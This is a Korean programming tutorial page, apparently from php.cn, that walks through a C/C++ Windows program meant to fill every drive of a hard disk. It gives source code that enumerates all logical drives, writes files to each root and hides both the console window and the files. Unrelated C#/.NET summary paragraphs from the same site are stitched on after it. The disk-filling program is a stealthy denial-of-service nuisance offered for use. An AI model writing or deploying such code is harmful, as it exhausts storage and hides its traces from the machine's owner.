하드 디스크를 가득 채울 수 있는 프로그램 작성에 대해
먼저 아이디어를 생각해 보겠습니다.
1단계: 논리 드라이브 문자 가져오기
2단계: 파일 만들기
3단계: 파일에 데이터 쓰기
확장 요구 사항:
1: 창 숨기기
2: 파일을 숨김으로 설정 attribute
아래에서는 위 아이디어에 대한 API를 소개하고 이를 수락한 후 소스 코드를 제공합니다
GetLogicalDriveStrings function
시스템에서 유효한 드라이브를 지정하는 문자열로 버퍼를 채웁니다.
DWORD WINAPI GetLogicalDriveStrings( _In_ DWORD nBufferLength, _Out_ LPTSTR lpBuffer );
이 함수는 시스템에서 사용 가능한 디스크를 lpBuffer로 읽어옵니다
성공하고 얻은 전체 길이를 반환합니다.
실패하는 경우는 두 가지입니다. 하나는 버퍼 길이가 부족해서이고, 다른 하나는 다른 문제입니다
다른 API 함수에 대해서는 둘 다 비교적 간단합니다. 일부 함수는 이름의 의미를 통해 알 수 있습니다. 여기서는 소스 코드에 대한 설명도 있습니다. 아래 소스코드를 보세요
#include <Windows.h> int main() { //FreeConsole(); //隐藏控制台 char strDriveStrings[MAXBYTE] = { 0 }; //获取逻辑地址 DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings); for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4个字节表示一个盘符 { char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 }; strncpy_s(strRoot,&strDriveStrings[i], 4); strcpy_s(strTargetPath, strRoot); //创建100个文件 for (int j = 0; j < 100; j++) { char TempStrTargetPath[MAX_PATH]; strcpy_s(TempStrTargetPath, strTargetPath); char FileName[MAXBYTE]; char Date[MAXBYTE] = "11111"; wsprintf(FileName, "%d.txt", j); strcat_s(TempStrTargetPath, FileName); //创建文件 HANDLE hFile; hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) continue; DWORD Pointer; //写入数据 WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL); CloseHandle(hFile); //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值 memset(FileName, 0, sizeof(FileName)); //设置为隐藏 SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN); } } return 0; }
파일 탐색 속성을 설정하세요:
실행 결과는 다음과 같습니다:
다음과 같은 문제가 발생할 경우
문자셋을 다음과 같이 수정하세요.
그래서 파일 몇개, 데이터만 더 만들면 하드디스크가 꽉 차요
위 내용은 C/ C++에서 하드디스크를 가득 채울 수 있는 프로그램의 내용을 쉽게 작성할 수 있다는 것입니다. 내용은 PHP 중국어 홈페이지(www.php.cn)를 주목해주세요!

C# .NET 앱을 Azure 또는 AWS에 배포하는 방법은 무엇입니까? 답은 Azureappservice와 Awelasticbeanstalk를 사용하는 것입니다. 1. Azure에서 Azureappservice 및 AzurePipelines를 사용하여 배포를 자동화하십시오. 2. AWS에서 Amazon Elasticbeanstalk 및 Awslambda를 사용하여 배포 및 서버리스 컴퓨팅을 구현하십시오.

C#과 .NET의 조합은 개발자에게 강력한 프로그래밍 환경을 제공합니다. 1) C#은 다형성 및 비동기 프로그래밍을 지원합니다. 2) .net은 크로스 플랫폼 기능과 동시 처리 메커니즘을 제공하여 데스크탑, 웹 및 모바일 애플리케이션 개발에 널리 사용됩니다.

.NETFramework는 소프트웨어 프레임 워크이며 C#은 프로그래밍 언어입니다. 1..netframework는 데스크탑, 웹 및 모바일 애플리케이션 개발을 지원하는 라이브러리 및 서비스를 제공합니다. 2.C#은 .NETFramework 용으로 설계되었으며 최신 프로그래밍 기능을 지원합니다. 3..NetFramework는 CLR을 통해 코드 실행을 관리하고 C# 코드는 IL로 컴파일되어 CLR에 의해 실행됩니다. 4. .NETFramework를 사용하여 응용 프로그램을 신속하게 개발하면 C#은 LINQ와 같은 고급 기능을 제공합니다. 5. 일반적인 오류에는 유형 변환 및 비동기 프로그래밍 교착 상태가 포함됩니다. 디버깅을 위해서는 VisualStudio 도구가 필요합니다.

C#은 Microsoft에서 개발 한 최신 객체 지향 프로그래밍 언어이며 .NET은 Microsoft가 제공하는 개발 프레임 워크입니다. C#은 C의 성능과 Java의 단순성을 결합하며 다양한 응용 프로그램을 구축하는 데 적합합니다. .NET 프레임 워크는 여러 언어를 지원하고 쓰레기 수집 메커니즘을 제공하며 메모리 관리를 단순화합니다.

C# 및 .NET 런타임은 개발자가 효율적이고 강력하며 크로스 플랫폼 개발 기능을 강화하기 위해 긴밀히 협력합니다. 1) C#은 .NET 프레임 워크와 완벽하게 통합하도록 설계된 유형 안전 및 객체 지향 프로그래밍 언어입니다. 2) .NET 런타임은 C# 코드 실행을 관리하고, 쓰레기 수집, 유형 안전 및 기타 서비스를 제공하며, 효율적이고 크로스 플랫폼 운영을 보장합니다.

C# .NET 개발을 시작하려면 다음과 같은 것이 필요합니다. 1. C#의 기본 지식과 .NET 프레임 워크의 핵심 개념을 이해하십시오. 2. 변수, 데이터 유형, 제어 구조, 기능 및 클래스의 기본 개념을 마스터하십시오. 3. LINQ 및 비동기 프로그래밍과 같은 C#의 고급 기능을 배우십시오. 4. 일반적인 오류에 대한 디버깅 기술 및 성능 최적화 방법에 익숙해 지십시오. 이러한 단계를 통해 C#.NET의 세계를 점차적으로 침투하고 효율적인 응용 프로그램을 작성할 수 있습니다.

C#과 .NET의 관계는 분리 할 수 없지만 같은 것은 아닙니다. C#은 프로그래밍 언어이며 .NET은 개발 플랫폼입니다. C#은 코드를 작성하고 .NET의 중간 언어 (IL)로 컴파일하고 .NET 런타임 (CLR)에 의해 실행되는 데 사용됩니다.

C#.NET은 여러 응용 프로그램 개발을 지원하는 강력한 도구 및 라이브러리를 제공하기 때문에 여전히 중요합니다. 1) C#은 .NET 프레임 워크를 결합하여 개발 효율적이고 편리하게 만듭니다. 2) C#의 타입 안전 및 쓰레기 수집 메커니즘은 장점을 향상시킵니다. 3) .NET은 크로스 플랫폼 실행 환경과 풍부한 API를 제공하여 개발 유연성을 향상시킵니다.


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